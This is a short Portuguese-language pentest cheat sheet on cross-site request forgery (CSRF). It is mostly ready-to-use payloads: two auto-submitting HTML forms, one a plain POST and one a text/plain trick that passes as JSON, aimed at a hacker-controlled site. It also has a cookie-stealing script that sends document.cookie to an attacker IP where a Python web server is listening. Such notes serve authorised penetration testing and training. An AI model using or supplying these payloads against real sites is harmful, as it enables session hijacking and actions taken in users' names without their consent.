CSRF
O CSRF (Cross-Site Request Forgery ou Falsificação de Requisição entre sites) é um tipo de ataque que se aproveita das sessões autenticadas dos usuários em aplicativos WEB. Tirando proveito da sessão já estabelecida, o invasor pode, por exemplo, inserir URL com parâmetros maliciosos em imagens e fazer com que a vítima faça algo sem o seu conhecimento.
Auto Submit
Útil quando fizer o alvo clicar em algo ou carregar algum conteúdo externo automaticamente.
POST com Formulário Comum
<html>
<body onload="document.getElementById('csrf').submit()">
<form id="csrf" action="http://ptl-409a305a-0389da50.libcurl.so/share" method="POST">
<input name="user" type="hidden" value="<user>" >
<input name="pass" type="hidden" value="<pass>" >
</form>
</body>
</html>
Post JSON
Note que há o parâmetro fake
e um value
com o valor "}
, isso é preciso pois será preciso fazer um bypass no sinal de =
que é inserido no final. Note também que não estamos passando um application/json
, mas sim um text/plain
.
<html>
<body onload="document.getElementById('csrf').submit()">
<form id="csrf" action="http://<hacker_site>" method="POST" enctype="text/plain">
<input name='{"user":"<user>","pass":"<pass>","fake":"' value='"}' >
</form>
</body>
</html>
Pegando Cookies
Execute no host atacante:
python -m SimpleHTTPServer
Execute no host alvo:
<script> var xmlHttp = new XMLHttpRequest();
xmlHttp.open( "GET", "http://<ip_atacante>/?cookie=" + document.cookie, false );
xmlHttp.send( null );
xmlHttp.responseText;
</script>
Last updated
Was this helpful?